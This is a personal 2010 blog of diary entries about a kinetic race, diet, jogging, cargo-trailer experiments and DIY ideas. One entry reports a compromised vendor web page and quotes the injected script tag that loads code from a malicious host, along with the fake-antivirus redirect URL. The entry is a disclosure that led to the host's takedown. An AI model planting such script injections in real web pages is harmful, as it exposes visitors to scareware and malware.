jc blog - tales of a modern-day nomadic hunter-gatherer

Follow jcomeau_ictx on Twitter This is the weblog of Intrepid Wanderer. You never know what you might find here; graphic descriptions of bodily functions, computer programming secrets, proselytizing for the antichrist, miscellaneous ranting and kvetching, valuable information on living off the land... if you don't share my rather weird interests you may want to try slashdot instead.

You can consider my Del.icio.us links an extension to my blog, as are my LifeTango goals and my other to-do items. My to-buy list is also public, but only for sharing any useful ideas that might be there; I'm not requesting charity, neither do I offer it.

You can find me easily in google searches, as jcomeau, jcomeau_ictx, or jcomeauictx. There are lots of other jcomeaus, but AFAIK I'm the only jcomeau_ictx out there so far.

If you want to comment on anything you see here, try the new Facebook comments, reachable by clicking the "[comment]" link at the end of each post. If for some reason that isn't working, go ahead and email me, jc.unternet.net. You know what to do with the first dot. Make the 'subject' line something reasonably intelligent-looking or it goes plunk! into the spambasket unread.

This RSS feed may or may not work. Haven't fiddled with it in forever. RSS Feed


2010-05-29-2247Z

For the glory! Finished day 1 of the race with an official time of 1533. 3 hours and 33 minutes. Not good, but what the hell, this year it's official! I was actually accepted as a pilot of my vehicle Lotecnotec, a demotorized Razor scooter with a Travoy trailer holding all my gear. At Lost Coast now, enjoying a pint of Downtown Brown. [comment]

2010-05-25-1936Z

The last few weeks, I've been experiencing intermittent pain in my hands and wrists. Just yesterday I noticed it getting worse. After some Googling, I found a lot of possibles but nothing concrete. Could be the kayaking. Could be the computer work. Could be the iPod. But the suggestion that it might be rheumatoid arthritis had me consider the amount of bread and dairy products I've been consuming since I came to California. I'm way off the Neanderthin diet. So I started this morning with a breakfast of eggs with onions, and will try to stick with it for at least 3 weeks and see if I see any improvement: no grains, dairy, potatoes, beans, or sugars.

Just a few days left until the Kinetic Grand Championship. There's still a chance I could be a pilot this year... bought a Razor scooter on Craigslist for $25, and removed the battery pack and motor. Not sure if pushing a scooter is within the rules or not. [comment]

2010-05-14-0120Z

Goddamn, I hate fences. I tried jogging to Novato today on this fire road, which Google Maps showed as a valid footroute. There was a gate blocking it. People usurp a commons and nobody gives a damn. Well, I do. Don't know what if anything I can do about it, yet, though. [comment]

2010-05-13-0442Z

Forgot to mention, I emailed techsupport at goodnet.com.ua, the service provider for holasionweb.com, and they shut down the server within an hour. Maybe nobody else bothered to complain, thinking the Ukraine is an outlaw nation and that they wouldn't give a shit what was happening on their network. I didn't get their reply though, unfortunately, since I blacklist most Eastern European IP blocks. I thought of it later, checked my exim4 rejectlog, and found they had tried to email me; I whitelisted their mailserver IP, but maybe too late to see what they have to say. [comment]

2010-05-13-0432Z

It seems that a short piece of pipe, with one end sealed, and the other end with a divider going down about halfway, could make a portable warming/cooking device for use with leaves, twigs, other small combustibles. The idea is, you blow into one side to keep the coals, which are concentrated at the sealed end of the pipe, red-hot. That end is what you stick into a water-filled cooking vessel (even plastic), to cook soup or brew coffee. Or you seal the other end and enclose it in some heavy wrapping that can take the heat (a couple of wool socks, one inside the other) for use as a foot-warmer inside your sleeping bag on a cold night.

Still experimenting with my new trailer as a vehicle, with a skateboard on the "handle" end. This time I tried it with the skateboard behind me, and the trailer wheels at my feet. It seems less likely to break the trailer, but it's harder to steer. Maybe the handle needs to be forward of center, so I can more easily lift the back of the skateboard to point in the direction I want to go. Mañana. [comment]

2010-05-12-2217Z

Registered my Travoy urban cargo trailer today at burley.com/support/warrantyreg.php, and was treated to one of those scary-looking displays that make it look as though your computer has multiple viruses. Did some digging, and wrote Burley:

Hi, I just registered my new Travoy trailer at your page burley.com/support/warrantyreg.php, but first I got a scare from a nasty bit of javascript that's loaded at the bottom of the page, right before the close-body tag: <script src="http://holasionweb.com/oo.php"></script>

It redirects the page to another site: http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D

Which makes it look like a Windows system has multiple viruses. I'm running Linux, so it was really more annoying than scary.

You might want to check and make sure more of your pages haven't been likewise infected. And probably secure your server, too; someone edited that webpage who shouldn't have been able to.

Haven't heard back from them yet.

Hitched the trailer to my belt yesterday evening with a carabiner, and hauled it 3-1/2 miles across town to Safeway, jogging, and walked back with my groceries. It worked great. Using it sitting down, with a skateboard on the front end, I'm able to steer it somewhat and brake with my feet, but the hinges weren't made for that kind of stress and probably won't work for long. I could really mess up my fingers that way, too, grinding them into the pavement if something breaks. [comment]

2010-05-09-2323Z

Just bought myself one of the new Burley urban trailers at Hutch's bicycle shop here in Eugene. $289 is a bit steep, but it could just be the closest to the ideal utility trailer on the market today.

Went jogging the last two days, neither worked out the way I wanted it to but I got some exercise in: yesterday and today. [comment]

2010-05-05-0104Z

Did my 5-mile jog again today, trying to snap out of a bad funk from last Sunday. Too early to say if it worked or not. Queasy stomach and diarrhea, ugh.

Thinking about waterguns and paintguns as nonlethal weapons. Filled with a cayenne solution, they can be quite disabling to both small and large game. Add rotenone and you might be able to fend off a shark attack.

You can use resin to harden wood, but some years ago people found ways of artificially petrifying it. If a way were found to accomplish it at STP, or at least at one atmosphere and at normal oven temperature, one could make durable prototypes by forming them out of wood, then hardening.

Got to try using my 12V battery with my titanium spork to cook sausage; take it apart, stick the sharper ends into the sausage and clamp the rounder ends to the battery. It ought to work. [comment]

2010-05-01-0136Z

More experiments on the skateboard today; sitting down on it, with one foot on and another off for stability, Chacos on my hands and Tevas on my feet; riding backwards, pushing off with hands and one foot. For hills, turn around and face forwards, still with one foot in the air for stability, hands holding board. Thinking handles mounted on the underside of the board on both sides might help.

Using foamboard and Acco-style paper fasteners from Staples to make prototypes of my other HPV ideas. If this works out, I will hopefully make some YouTube videos to spread the ideas around.

Playing with ColorForth again, using Albert Van Der Horst's ciasdis tools. Maybe I'll make some headway this time.

Also tried welding some HDPE plastic with my little Weller butane iron, with the tip removed so it's basically a hot-air gun. So-so results so far, it'll take some practice. HDPE (High Density Polyethylene) is the ubiquitous black plastic you see littered around everywhere: poly pipe, coffee cups, and such. [comment]

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